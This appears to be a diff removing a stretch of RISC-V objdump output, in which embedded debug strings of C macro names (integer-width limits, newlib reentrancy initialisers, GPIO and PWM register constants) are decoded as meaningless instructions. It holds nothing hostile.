-    39f8:	485f 205f 5f00      	0x5f00205f485f
-    39fe:	545f4353          	0x545f4353
-    3a02:	5248                	lw	a0,36(a2)
-    3a04:	4145                	li	sp,17
-    3a06:	5f44                	lw	s1,60(a4)
-    3a08:	5441                	li	s0,-16
-    3a0a:	5254                	lw	a3,36(a2)
-    3a0c:	535f 4154 4b43      	0x4b434154535f
-    3a12:	455a4953          	0x455a4953
-    3a16:	3420                	fld	fs0,104(s0)
-    3a18:	0034                	addi	a3,sp,8
-    3a1a:	5f5f 746e 686f      	0x686f746e5f5f
-    3a20:	286c                	fld	fa1,208(s0)
-    3a22:	785f 2029 5f5f      	0x5f5f2029785f
-    3a28:	7362                	flw	ft6,56(sp)
-    3a2a:	33706177          	0x33706177
-    3a2e:	2832                	fld	fa6,264(sp)
-    3a30:	785f 0029 535f      	0x535f0029785f
-    3a36:	54545f43          	0x54545f43
-    3a3a:	5f59                	li	t5,-10
-    3a3c:	414e                	lw	sp,208(sp)
-    3a3e:	454d                	li	a0,19
-    3a40:	4d5f 5841 3420      	0x342058414d5f
-    3a46:	0031                	c.nop	12
-    3a48:	535f 5359 545f      	0x545f5359535f
-    3a4e:	5059                	c.li	zero,-10
-    3a50:	5345                	li	t1,-15
-    3a52:	485f 0020 4146      	0x41460020485f
-    3a58:	5050                	lw	a2,36(s0)
-    3a5a:	4e45                	li	t3,17
-    3a5c:	2044                	fld	fs1,128(s0)
-    3a5e:	465f 5041 4550      	0x45505041465f
-    3a64:	444e                	lw	s0,208(sp)
-    3a66:	5f00                	lw	s0,56(a4)
-    3a68:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    3a6c:	41484357          	0x41484357
-    3a70:	5f52                	lw	t5,52(sp)
-    3a72:	2054                	fld	fa3,128(s0)
-    3a74:	5f00                	lw	s0,56(a4)
-    3a76:	41484357          	0x41484357
-    3a7a:	5f52                	lw	t5,52(sp)
-    3a7c:	5f54                	lw	a3,60(a4)
-    3a7e:	4544                	lw	s1,12(a0)
-    3a80:	4946                	lw	s2,80(sp)
-    3a82:	454e                	lw	a0,208(sp)
-    3a84:	5f44                	lw	s1,60(a4)
-    3a86:	0020                	addi	s0,sp,8
-    3a88:	5f5f 4f4c 4b43      	0x4b434f4c5f5f
-    3a8e:	495f 494e 2854      	0x2854494e495f
-    3a94:	73616c63          	bltu	sp,s6,41cc <__stack_size+0x39cc>
-    3a98:	6f6c2c73          	csrrs	s8,0x6f6,s8
-    3a9c:	20296b63          	bltu	s2,sp,3cb2 <__stack_size+0x34b2>
-    3aa0:	74617473          	csrrci	s0,0x746,2
-    3aa4:	6369                	lui	t1,0x1a
-    3aa6:	6920                	flw	fs0,80(a0)
-    3aa8:	746e                	flw	fs0,248(sp)
-    3aaa:	6c20                	flw	fs0,88(s0)
-    3aac:	206b636f          	jal	t1,b9cb2 <__stack_size+0xb94b2>
-    3ab0:	203d                	jal	3ade <__stack_size+0x32de>
-    3ab2:	3b30                	fld	fa2,112(a4)
-    3ab4:	4700                	lw	s0,8(a4)
-    3ab6:	4950                	lw	a2,20(a0)
-    3ab8:	41465f4f          	fnmadd.s	ft10,fa2,fs4,fs0,unknown
-    3abc:	4c4c                	lw	a1,28(s0)
-    3abe:	495f 2045 7830      	0x78302045495f
-    3ac4:	3032                	fld	ft0,296(sp)
-    3ac6:	5f00                	lw	s0,56(a4)
-    3ac8:	495f 544e 465f      	0x465f544e495f
-    3ace:	5341                	li	t1,-16
-    3ad0:	3654                	fld	fa3,168(a2)
-    3ad2:	5f34                	lw	a3,120(a4)
-    3ad4:	54444957          	0x54444957
-    3ad8:	5f48                	lw	a0,60(a4)
-    3ada:	205f 3436 5500      	0x55003436205f
-    3ae0:	4f4c                	lw	a1,28(a4)
-    3ae2:	474e                	lw	a4,208(sp)
-    3ae4:	4d5f 5841 5f00      	0x5f0058414d5f
-    3aea:	6e5f 6565 5f64      	0x5f6465656e5f
-    3af0:	657a6973          	csrrsi	s2,0x657,20
-    3af4:	745f 0020 4955      	0x49550020745f
-    3afa:	544e                	lw	s0,240(sp)
-    3afc:	435f3233          	0x435f3233
-    3b00:	5f00                	lw	s0,56(a4)
-    3b02:	5f535953          	0x5f535953
-    3b06:	545f 4d49 5345      	0x53454d49545f
-    3b0c:	4550                	lw	a2,12(a0)
-    3b0e:	5f485f43          	fmadd.q	ft10,fa6,fs4,fa1,unknown
-    3b12:	0020                	addi	s0,sp,8
-    3b14:	535f 5f43 4854      	0x48545f43535f
-    3b1a:	4552                	lw	a0,20(sp)
-    3b1c:	4441                	li	s0,16
-    3b1e:	535f 4154 4b43      	0x4b434154535f
-    3b24:	4d5f 4e49 3320      	0x33204e494d5f
-    3b2a:	0039                	c.nop	14
-    3b2c:	5f5f 4843 5241      	0x524148435f5f
-    3b32:	555f 534e 4749      	0x4749534e555f
-    3b38:	454e                	lw	a0,208(sp)
-    3b3a:	5f44                	lw	s1,60(a4)
-    3b3c:	205f 0031 5750      	0x57500031205f
-    3b42:	5f4d                	li	t5,-13
-    3b44:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    3b48:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
-    3b4c:	474e4147          	fmsub.q	ft2,ft8,fs4,fs0,rmm
-    3b50:	3020                	fld	fs0,96(s0)
-    3b52:	3078                	fld	fa4,224(s0)
-    3b54:	3031                	jal	3360 <__stack_size+0x2b60>
-    3b56:	3030                	fld	fa2,96(s0)
-    3b58:	3030                	fld	fa2,96(s0)
-    3b5a:	0030                	addi	a2,sp,8
-    3b5c:	5f5f 444c 4c42      	0x4c42444c5f5f
-    3b62:	4d5f 4e49 455f      	0x455f4e494d5f
-    3b68:	5058                	lw	a4,36(s0)
-    3b6a:	5f5f 2820 312d      	0x312d28205f5f
-    3b70:	3336                	fld	ft6,360(sp)
-    3b72:	3138                	fld	fa4,96(a0)
-    3b74:	0029                	c.nop	10
-    3b76:	57495f53          	0x57495f53
-    3b7a:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
-    3b7e:	3030                	fld	fa2,96(s0)
-    3b80:	3030                	fld	fa2,96(s0)
-    3b82:	3230                	fld	fa2,96(a2)
-    3b84:	0030                	addi	a2,sp,8
-    3b86:	425f 4453 575f      	0x575f4453425f
-    3b8c:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    3b90:	545f 005f 5f5f      	0x5f5f005f545f
-    3b96:	41484353          	0x41484353
-    3b9a:	5f52                	lw	t5,52(sp)
-    3b9c:	414d                	li	sp,19
-    3b9e:	5f58                	lw	a4,60(a4)
-    3ba0:	205f 7830 6637      	0x66377830205f
-    3ba6:	5f00                	lw	s0,56(a4)
-    3ba8:	475f 4343 485f      	0x485f4343475f
-    3bae:	5641                	li	a2,-16
-    3bb0:	5f45                	li	t5,-15
-    3bb2:	5744                	lw	s1,44(a4)
-    3bb4:	5241                	li	tp,-16
-    3bb6:	3246                	fld	ft4,112(sp)
-    3bb8:	435f 4946 415f      	0x415f4946435f
-    3bbe:	31204d53          	0x31204d53
-    3bc2:	4900                	lw	s0,16(a0)
-    3bc4:	544e                	lw	s0,240(sp)
-    3bc6:	3631                	jal	36d2 <__stack_size+0x2ed2>
-    3bc8:	4d5f 5841 5f20      	0x5f2058414d5f
-    3bce:	495f 544e 3631      	0x3631544e495f
-    3bd4:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3bda:	4300                	lw	s0,0(a4)
-    3bdc:	4148                	lw	a0,4(a0)
-    3bde:	5f52                	lw	t5,52(sp)
-    3be0:	414d                	li	sp,19
-    3be2:	2058                	fld	fa4,128(s0)
-    3be4:	4355                	li	t1,21
-    3be6:	4148                	lw	a0,4(a0)
-    3be8:	5f52                	lw	t5,52(sp)
-    3bea:	414d                	li	sp,19
-    3bec:	0058                	addi	a4,sp,4
-    3bee:	5f5f 4e53 5450      	0x54504e535f5f
-    3bf4:	3020                	fld	fs0,96(s0)
-    3bf6:	3078                	fld	fa4,224(s0)
-    3bf8:	3038                	fld	fa4,96(s0)
-    3bfa:	0030                	addi	a2,sp,8
-    3bfc:	4b4f5f57          	0x4b4f5f57
-    3c00:	3220                	fld	fs0,96(a2)
-    3c02:	5f00                	lw	s0,56(a4)
-    3c04:	6e5f 6565 5f64      	0x5f6465656e5f
-    3c0a:	657a6973          	csrrsi	s2,0x657,20
-    3c0e:	745f 4200 4e54      	0x4e544200745f
-    3c14:	2030                	fld	fa2,64(s0)
-    3c16:	3531                	jal	3a22 <__stack_size+0x3222>
-    3c18:	4c00                	lw	s0,24(s0)
-    3c1a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    3c1e:	4e55                	li	t3,21
-    3c20:	3020                	fld	fs0,96(s0)
-    3c22:	3078                	fld	fa4,224(s0)
-    3c24:	0038                	addi	a4,sp,8
-    3c26:	6c70                	flw	fa2,92(s0)
-    3c28:	6369                	lui	t1,0x1a
-    3c2a:	695f 746e 5500      	0x5500746e695f
-    3c30:	4e49                	li	t3,18
-    3c32:	5f54                	lw	a3,60(a4)
-    3c34:	4146                	lw	sp,80(sp)
-    3c36:	32335453          	0x32335453
-    3c3a:	4d5f 5841 5f20      	0x5f2058414d5f
-    3c40:	555f 4e49 5f54      	0x5f544e49555f
-    3c46:	4146                	lw	sp,80(sp)
-    3c48:	32335453          	0x32335453
-    3c4c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3c52:	4600                	lw	s0,8(a2)
-    3c54:	4f4e                	lw	t5,208(sp)
-    3c56:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
-    3c5a:	5f20                	lw	s0,120(a4)
-    3c5c:	4e46                	lw	t3,80(sp)
-    3c5e:	5454434f          	0x5454434f
-    3c62:	0059                	c.nop	22
-    3c64:	4e49                	li	t3,18
-    3c66:	5f54                	lw	a3,60(a4)
-    3c68:	414d                	li	sp,19
-    3c6a:	2058                	fld	fa4,128(s0)
-    3c6c:	5f5f 4e49 5f54      	0x5f544e495f5f
-    3c72:	414d                	li	sp,19
-    3c74:	5f58                	lw	a4,60(a4)
-    3c76:	005f 5f5f 4e49      	0x4e495f5f005f
-    3c7c:	5f54                	lw	a3,60(a4)
-    3c7e:	4146                	lw	sp,80(sp)
-    3c80:	5f385453          	0x5f385453
-    3c84:	54444957          	0x54444957
-    3c88:	5f48                	lw	a0,60(a4)
-    3c8a:	205f 3233 5f00      	0x5f003233205f
-    3c90:	635f 6e6f 6174      	0x61746e6f635f
-    3c96:	6e69                	lui	t3,0x1a
-    3c98:	7265                	lui	tp,0xffff9
-    3c9a:	7828666f          	jal	a2,8a41c <__stack_size+0x89c1c>
-    3c9e:	732c                	flw	fa1,96(a4)
-    3ca0:	6d2c                	flw	fa1,88(a0)
-    3ca2:	2029                	jal	3cac <__stack_size+0x34ac>
-    3ca4:	7b28                	flw	fa0,112(a4)
-    3ca6:	6320                	flw	fs0,64(a4)
-    3ca8:	74736e6f          	jal	t3,3abee <__stack_size+0x3a3ee>
-    3cac:	7620                	flw	fs0,104(a2)
-    3cae:	74616c6f          	jal	s8,1a3f4 <__stack_size+0x19bf4>
-    3cb2:	6c69                	lui	s8,0x1a
-    3cb4:	2065                	jal	3d5c <__stack_size+0x355c>
-    3cb6:	5f5f 7974 6570      	0x657079745f5f
-    3cbc:	2828666f          	jal	a2,89f3e <__stack_size+0x8973e>
-    3cc0:	7328                	flw	fa0,96(a4)
-    3cc2:	2a20                	fld	fs0,80(a2)
-    3cc4:	3029                	jal	34ce <__stack_size+0x2cce>
-    3cc6:	2d29                	jal	42e0 <__stack_size+0x3ae0>
-    3cc8:	6d3e                	flw	fs10,204(sp)
-    3cca:	2029                	jal	3cd4 <__stack_size+0x34d4>
-    3ccc:	5f2a                	lw	t5,168(sp)
-    3cce:	785f 3d20 2820      	0x28203d20785f
-    3cd4:	2978                	fld	fa4,208(a0)
-    3cd6:	5f5f203b          	0x5f5f203b
-    3cda:	4544                	lw	s1,12(a0)
-    3cdc:	5551                	li	a0,-12
-    3cde:	4c41                	li	s8,16
-    3ce0:	4649                	li	a2,18
-    3ce2:	2859                	jal	3d78 <__stack_size+0x3578>
-    3ce4:	2c2a2073          	csrs	0x2c2,s4
-    3ce8:	2820                	fld	fs0,80(s0)
-    3cea:	736e6f63          	bltu	t3,s6,4428 <__stack_size+0x3c28>
-    3cee:	2074                	fld	fa3,192(s0)
-    3cf0:	6f76                	flw	ft10,92(sp)
-    3cf2:	616c                	flw	fa1,68(a0)
-    3cf4:	6974                	flw	fa3,84(a0)
-    3cf6:	656c                	flw	fa1,76(a0)
-    3cf8:	6320                	flw	fs0,64(a4)
-    3cfa:	6168                	flw	fa0,68(a0)
-    3cfc:	2072                	fld	ft0,280(sp)
-    3cfe:	292a                	fld	fs2,136(sp)
-    3d00:	5f5f 2078 202d      	0x202d20785f5f
-    3d06:	5f5f 666f 7366      	0x7366666f5f5f
-    3d0c:	7465                	lui	s0,0xffff9
-    3d0e:	7328666f          	jal	a2,8a440 <__stack_size+0x89c40>
-    3d12:	202c                	fld	fa1,64(s0)
-    3d14:	296d                	jal	41ce <__stack_size+0x39ce>
-    3d16:	3b29                	jal	3a30 <__stack_size+0x3230>
-    3d18:	297d                	jal	41d6 <__stack_size+0x39d6>
-    3d1a:	4900                	lw	s0,16(a0)
-    3d1c:	544e                	lw	s0,240(sp)
-    3d1e:	4c5f 4145 5453      	0x545341454c5f
-    3d24:	4d5f3233          	0x4d5f3233
-    3d28:	5841                	li	a6,-16
-    3d2a:	5f20                	lw	s0,120(a4)
-    3d2c:	495f 544e 4c5f      	0x4c5f544e495f
-    3d32:	4145                	li	sp,17
-    3d34:	32335453          	0x32335453
-    3d38:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3d3e:	4500                	lw	s0,8(a0)
-    3d40:	5058                	lw	a4,36(s0)
-    3d42:	5f52                	lw	t5,52(sp)
-    3d44:	454e                	lw	a0,208(sp)
-    3d46:	4d5f5453          	0x4d5f5453
-    3d4a:	5841                	li	a6,-16
-    3d4c:	3320                	fld	fs0,96(a4)
-    3d4e:	0032                	c.slli	zero,0xc
-    3d50:	4954                	lw	a3,20(a0)
-    3d52:	454d                	li	a0,19
-    3d54:	4156                	lw	sp,84(sp)
-    3d56:	5f4c                	lw	a1,60(a4)
-    3d58:	4f54                	lw	a3,28(a4)
-    3d5a:	545f 4d49 5345      	0x53454d49545f
-    3d60:	4550                	lw	a2,12(a0)
-    3d62:	76742843          	fmadd.q	fa6,fs0,ft7,fa4,rdn
-    3d66:	742c                	flw	fa1,104(s0)
-    3d68:	64202973          	csrr	s2,0x642
-    3d6c:	207b206f          	j	b6772 <__stack_size+0xb5f72>
-    3d70:	7428                	flw	fa0,104(s0)
-    3d72:	3e2d2973          	csrrs	s2,0x3e2,s10
-    3d76:	7674                	flw	fa3,108(a2)
-    3d78:	735f 6365 3d20      	0x3d206365735f
-    3d7e:	2820                	fld	fs0,80(s0)
-    3d80:	7674                	flw	fa3,108(a2)
-    3d82:	2d29                	jal	439c <__stack_size+0x3b9c>
-    3d84:	743e                	flw	fs0,236(sp)
-    3d86:	5f76                	lw	t5,124(sp)
-    3d88:	3b636573          	csrrsi	a0,pmpaddr6,6
-    3d8c:	2820                	fld	fs0,80(s0)
-    3d8e:	7374                	flw	fa3,100(a4)
-    3d90:	2d29                	jal	43aa <__stack_size+0x3baa>
-    3d92:	743e                	flw	fs0,236(sp)
-    3d94:	5f76                	lw	t5,124(sp)
-    3d96:	736e                	flw	ft6,248(sp)
-    3d98:	6365                	lui	t1,0x19
-    3d9a:	3d20                	fld	fs0,120(a0)
-    3d9c:	2820                	fld	fs0,80(s0)
-    3d9e:	7674                	flw	fa3,108(a2)
-    3da0:	2d29                	jal	43ba <__stack_size+0x3bba>
-    3da2:	743e                	flw	fs0,236(sp)
-    3da4:	5f76                	lw	t5,124(sp)
-    3da6:	7375                	lui	t1,0xffffd
-    3da8:	6365                	lui	t1,0x19
-    3daa:	2a20                	fld	fs0,80(a2)
-    3dac:	3120                	fld	fs0,96(a0)
-    3dae:	3030                	fld	fa2,96(s0)
-    3db0:	3b30                	fld	fa2,112(a4)
-    3db2:	7d20                	flw	fs0,120(a0)
-    3db4:	7720                	flw	fs0,104(a4)
-    3db6:	6968                	flw	fa0,84(a0)
-    3db8:	656c                	flw	fa1,76(a0)
-    3dba:	2820                	fld	fs0,80(s0)
-    3dbc:	2930                	fld	fa2,80(a0)
-    3dbe:	5f00                	lw	s0,56(a4)
-    3dc0:	465f 544c 485f      	0x485f544c465f
-    3dc6:	5341                	li	t1,-16
-    3dc8:	515f 4955 5445      	0x54454955515f
-    3dce:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    3dd4:	3120                	fld	fs0,96(a0)
-    3dd6:	5f00                	lw	s0,56(a4)
-    3dd8:	325f4353          	0x325f4353
-    3ddc:	505f 5342 435f      	0x435f5342505f
-    3de2:	4548                	lw	a0,12(a0)
-    3de4:	4f504b43          	fmadd.q	fs6,ft0,fs5,fs1,rmm
-    3de8:	4e49                	li	t3,18
-    3dea:	2054                	fld	fa3,128(s0)
-    3dec:	3131                	jal	39f8 <__stack_size+0x31f8>
-    3dee:	0035                	c.nop	13
-    3df0:	445f 5645 545f      	0x545f5645445f
-    3df6:	445f 4345 414c      	0x414c4345445f
-    3dfc:	4552                	lw	a0,20(sp)
-    3dfe:	2044                	fld	fs1,128(s0)
-    3e00:	5500                	lw	s0,40(a0)
-    3e02:	4e49                	li	t3,18
-    3e04:	5f54                	lw	a3,60(a4)
-    3e06:	4146                	lw	sp,80(sp)
-    3e08:	34365453          	0x34365453
-    3e0c:	4d5f 5841 5f20      	0x5f2058414d5f
-    3e12:	555f 4e49 5f54      	0x5f544e49555f
-    3e18:	4146                	lw	sp,80(sp)
-    3e1a:	34365453          	0x34365453
-    3e1e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3e24:	4700                	lw	s0,8(a4)
-    3e26:	4950                	lw	a2,20(a0)
-    3e28:	4f495f4f          	fnmadd.q	ft10,fs2,fs4,fs1,unknown
-    3e2c:	5f46                	lw	t5,112(sp)
-    3e2e:	204c4553          	0x204c4553
-    3e32:	7830                	flw	fa2,112(s0)
-    3e34:	54004333          	0x54004333
-    3e38:	4d49                	li	s10,18
-    3e3a:	5245                	li	tp,-15
-    3e3c:	415f 5342 4954      	0x49545342415f
-    3e42:	454d                	li	a0,19
-    3e44:	3420                	fld	fs0,104(s0)
-    3e46:	5f00                	lw	s0,56(a4)
-    3e48:	585f4353          	0x585f4353
-    3e4c:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    3e50:	535f 4d48 3120      	0x31204d48535f
-    3e56:	3330                	fld	fa2,96(a4)
-    3e58:	5300                	lw	s0,32(a4)
-    3e5a:	4749                	li	a4,18
-    3e5c:	415f 4f54 494d      	0x494d4f54415f
-    3e62:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
-    3e66:	2058                	fld	fa4,128(s0)
-    3e68:	5f5f 4953 5f47      	0x5f4749535f5f
-    3e6e:	5441                	li	s0,-16
-    3e70:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    3e74:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3e7a:	5f00                	lw	s0,56(a4)
-    3e7c:	4552                	lw	a0,20(sp)
-    3e7e:	4e45                	li	t3,17
-    3e80:	5f54                	lw	a3,60(a4)
-    3e82:	4e49                	li	t3,18
-    3e84:	5449                	li	s0,-14
-    3e86:	505f 5254 5a5f      	0x5a5f5254505f
-    3e8c:	5245                	li	tp,-15
-    3e8e:	2844454f          	fnmadd.s	fa0,fs0,ft4,ft5,rmm
-    3e92:	6176                	flw	ft2,92(sp)
-    3e94:	2972                	fld	fs2,280(sp)
-    3e96:	7b20                	flw	fs0,112(a4)
-    3e98:	2820                	fld	fs0,80(s0)
-    3e9a:	6176                	flw	ft2,92(sp)
-    3e9c:	2972                	fld	fs2,280(sp)
-    3e9e:	3e2d                	jal	39d8 <__stack_size+0x31d8>
-    3ea0:	735f 6474 6e69      	0x6e696474735f
-    3ea6:	3d20                	fld	fs0,120(a0)
-    3ea8:	5f20                	lw	s0,120(a4)
-    3eaa:	4552                	lw	a0,20(sp)
-    3eac:	4e45                	li	t3,17
-    3eae:	5f54                	lw	a3,60(a4)
-    3eb0:	49445453          	0x49445453
-    3eb4:	54535f4f          	0x54535f4f
-    3eb8:	4552                	lw	a0,20(sp)
-    3eba:	4d41                	li	s10,16
-    3ebc:	7628                	flw	fa0,104(a2)
-    3ebe:	7261                	lui	tp,0xffff8
-    3ec0:	202c                	fld	fa1,64(s0)
-    3ec2:	2930                	fld	fa2,80(a0)
-    3ec4:	7628203b          	0x7628203b
-    3ec8:	7261                	lui	tp,0xffff8
-    3eca:	2d29                	jal	44e4 <__stack_size+0x3ce4>
-    3ecc:	5f3e                	lw	t5,236(sp)
-    3ece:	6f647473          	csrrci	s0,0x6f6,8
-    3ed2:	7475                	lui	s0,0xffffd
-    3ed4:	3d20                	fld	fs0,120(a0)
-    3ed6:	5f20                	lw	s0,120(a4)
-    3ed8:	4552                	lw	a0,20(sp)
-    3eda:	4e45                	li	t3,17
-    3edc:	5f54                	lw	a3,60(a4)
-    3ede:	49445453          	0x49445453
-    3ee2:	54535f4f          	0x54535f4f
-    3ee6:	4552                	lw	a0,20(sp)
-    3ee8:	4d41                	li	s10,16
-    3eea:	7628                	flw	fa0,104(a2)
-    3eec:	7261                	lui	tp,0xffff8
-    3eee:	202c                	fld	fa1,64(s0)
-    3ef0:	2931                	jal	430c <__stack_size+0x3b0c>
-    3ef2:	7628203b          	0x7628203b
-    3ef6:	7261                	lui	tp,0xffff8
-    3ef8:	2d29                	jal	4512 <__stack_size+0x3d12>
-    3efa:	5f3e                	lw	t5,236(sp)
-    3efc:	65647473          	csrrci	s0,0x656,8
-    3f00:	7272                	flw	ft4,60(sp)
-    3f02:	3d20                	fld	fs0,120(a0)
-    3f04:	5f20                	lw	s0,120(a4)
-    3f06:	4552                	lw	a0,20(sp)
-    3f08:	4e45                	li	t3,17
-    3f0a:	5f54                	lw	a3,60(a4)
-    3f0c:	49445453          	0x49445453
-    3f10:	54535f4f          	0x54535f4f
-    3f14:	4552                	lw	a0,20(sp)
-    3f16:	4d41                	li	s10,16
-    3f18:	7628                	flw	fa0,104(a2)
-    3f1a:	7261                	lui	tp,0xffff8
-    3f1c:	202c                	fld	fa1,64(s0)
-    3f1e:	2932                	fld	fs2,264(sp)
-    3f20:	7628203b          	0x7628203b
-    3f24:	7261                	lui	tp,0xffff8
-    3f26:	2d29                	jal	4540 <__stack_size+0x3d40>
-    3f28:	5f3e                	lw	t5,236(sp)
-    3f2a:	656e                	flw	fa0,216(sp)
-    3f2c:	725f2e77          	0x725f2e77
-    3f30:	6565                	lui	a0,0x19
-    3f32:	746e                	flw	fs0,248(sp)
-    3f34:	5f2e                	lw	t5,232(sp)
-    3f36:	6172                	flw	ft2,28(sp)
-    3f38:	646e                	flw	fs0,216(sp)
-    3f3a:	6e5f 7865 2074      	0x207478656e5f
-    3f40:	203d                	jal	3f6e <__stack_size+0x376e>
-    3f42:	3b31                	jal	3c5e <__stack_size+0x345e>
-    3f44:	2820                	fld	fs0,80(s0)
-    3f46:	6176                	flw	ft2,92(sp)
-    3f48:	2972                	fld	fs2,280(sp)
-    3f4a:	3e2d                	jal	3a84 <__stack_size+0x3284>
-    3f4c:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    3f52:	6572                	flw	fa0,28(sp)
-    3f54:	6e65                	lui	t3,0x19
-    3f56:	2e74                	fld	fa3,216(a2)
-    3f58:	725f 3834 5f2e      	0x5f2e3834725f
-    3f5e:	64656573          	csrrsi	a0,0x646,10
-    3f62:	205d305b          	0x205d305b
-    3f66:	203d                	jal	3f94 <__stack_size+0x3794>
-    3f68:	525f 4e41 3444      	0x34444e41525f
-    3f6e:	5f38                	lw	a4,120(a4)
-    3f70:	44454553          	0x44454553
-    3f74:	305f 203b 7628      	0x7628203b305f
-    3f7a:	7261                	lui	tp,0xffff8
-    3f7c:	2d29                	jal	4596 <__stack_size+0x3d96>
-    3f7e:	5f3e                	lw	t5,236(sp)
-    3f80:	656e                	flw	fa0,216(sp)
-    3f82:	725f2e77          	0x725f2e77
-    3f86:	6565                	lui	a0,0x19
-    3f88:	746e                	flw	fs0,248(sp)
-    3f8a:	5f2e                	lw	t5,232(sp)
-    3f8c:	3472                	fld	fs0,312(sp)
-    3f8e:	2e38                	fld	fa4,88(a2)
-    3f90:	735f 6565 5b64      	0x5b646565735f
-    3f96:	5d31                	li	s10,-20
-    3f98:	3d20                	fld	fs0,120(a0)
-    3f9a:	5f20                	lw	s0,120(a4)
-    3f9c:	4152                	lw	sp,20(sp)
-    3f9e:	444e                	lw	s0,208(sp)
-    3fa0:	3834                	fld	fa3,112(s0)
-    3fa2:	535f 4545 5f44      	0x5f444545535f
-    3fa8:	3b31                	jal	3cc4 <__stack_size+0x34c4>
-    3faa:	2820                	fld	fs0,80(s0)
-    3fac:	6176                	flw	ft2,92(sp)
-    3fae:	2972                	fld	fs2,280(sp)
-    3fb0:	3e2d                	jal	3aea <__stack_size+0x32ea>
-    3fb2:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    3fb8:	6572                	flw	fa0,28(sp)
-    3fba:	6e65                	lui	t3,0x19
-    3fbc:	2e74                	fld	fa3,216(a2)
-    3fbe:	725f 3834 5f2e      	0x5f2e3834725f
-    3fc4:	64656573          	csrrsi	a0,0x646,10
-    3fc8:	205d325b          	0x205d325b
-    3fcc:	203d                	jal	3ffa <__stack_size+0x37fa>
-    3fce:	525f 4e41 3444      	0x34444e41525f
-    3fd4:	5f38                	lw	a4,120(a4)
-    3fd6:	44454553          	0x44454553
-    3fda:	325f 203b 7628      	0x7628203b325f
-    3fe0:	7261                	lui	tp,0xffff8
-    3fe2:	2d29                	jal	45fc <__stack_size+0x3dfc>
-    3fe4:	5f3e                	lw	t5,236(sp)
-    3fe6:	656e                	flw	fa0,216(sp)
-    3fe8:	725f2e77          	0x725f2e77
-    3fec:	6565                	lui	a0,0x19
-    3fee:	746e                	flw	fs0,248(sp)
-    3ff0:	5f2e                	lw	t5,232(sp)
-    3ff2:	3472                	fld	fs0,312(sp)
-    3ff4:	2e38                	fld	fa4,88(a2)
-    3ff6:	6d5f 6c75 5b74      	0x5b746c756d5f
-    3ffc:	5d30                	lw	a2,120(a0)
-    3ffe:	3d20                	fld	fs0,120(a0)
-    4000:	5f20                	lw	s0,120(a4)
-    4002:	4152                	lw	sp,20(sp)
-    4004:	444e                	lw	s0,208(sp)
-    4006:	3834                	fld	fa3,112(s0)
-    4008:	4d5f 4c55 5f54      	0x5f544c554d5f
-    400e:	3b30                	fld	fa2,112(a4)
-    4010:	2820                	fld	fs0,80(s0)
-    4012:	6176                	flw	ft2,92(sp)
-    4014:	2972                	fld	fs2,280(sp)
-    4016:	3e2d                	jal	3b50 <__stack_size+0x3350>
-    4018:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    401e:	6572                	flw	fa0,28(sp)
-    4020:	6e65                	lui	t3,0x19
-    4022:	2e74                	fld	fa3,216(a2)
-    4024:	725f 3834 5f2e      	0x5f2e3834725f
-    402a:	756d                	lui	a0,0xffffb
-    402c:	746c                	flw	fa1,108(s0)
-    402e:	205d315b          	0x205d315b
-    4032:	203d                	jal	4060 <__stack_size+0x3860>
-    4034:	525f 4e41 3444      	0x34444e41525f
-    403a:	5f38                	lw	a4,120(a4)
-    403c:	554d                	li	a0,-13
-    403e:	544c                	lw	a1,44(s0)
-    4040:	315f 203b 7628      	0x7628203b315f
-    4046:	7261                	lui	tp,0xffff8
-    4048:	2d29                	jal	4662 <__stack_size+0x3e62>
-    404a:	5f3e                	lw	t5,236(sp)
-    404c:	656e                	flw	fa0,216(sp)
-    404e:	725f2e77          	0x725f2e77
-    4052:	6565                	lui	a0,0x19
-    4054:	746e                	flw	fs0,248(sp)
-    4056:	5f2e                	lw	t5,232(sp)
-    4058:	3472                	fld	fs0,312(sp)
-    405a:	2e38                	fld	fa4,88(a2)
-    405c:	6d5f 6c75 5b74      	0x5b746c756d5f
-    4062:	5d32                	lw	s10,44(sp)
-    4064:	3d20                	fld	fs0,120(a0)
-    4066:	5f20                	lw	s0,120(a4)
-    4068:	4152                	lw	sp,20(sp)
-    406a:	444e                	lw	s0,208(sp)
-    406c:	3834                	fld	fa3,112(s0)
-    406e:	4d5f 4c55 5f54      	0x5f544c554d5f
-    4074:	3b32                	fld	fs6,296(sp)
-    4076:	2820                	fld	fs0,80(s0)
-    4078:	6176                	flw	ft2,92(sp)
-    407a:	2972                	fld	fs2,280(sp)
-    407c:	3e2d                	jal	3bb6 <__stack_size+0x33b6>
-    407e:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    4084:	6572                	flw	fa0,28(sp)
-    4086:	6e65                	lui	t3,0x19
-    4088:	2e74                	fld	fa3,216(a2)
-    408a:	725f 3834 5f2e      	0x5f2e3834725f
-    4090:	6461                	lui	s0,0x18
-    4092:	2064                	fld	fs1,192(s0)
-    4094:	203d                	jal	40c2 <__stack_size+0x38c2>
-    4096:	525f 4e41 3444      	0x34444e41525f
-    409c:	5f38                	lw	a4,120(a4)
-    409e:	4441                	li	s0,16
-    40a0:	3b44                	fld	fs1,176(a4)
-    40a2:	7d20                	flw	fs0,120(a0)
-    40a4:	5f00                	lw	s0,56(a4)
-    40a6:	465f 544c 3436      	0x3436544c465f
-    40ac:	5f58                	lw	a4,60(a4)
-    40ae:	4f4e                	lw	t5,208(sp)
-    40b0:	4d52                	lw	s10,20(sp)
-    40b2:	4d5f 5841 5f5f      	0x5f5f58414d5f
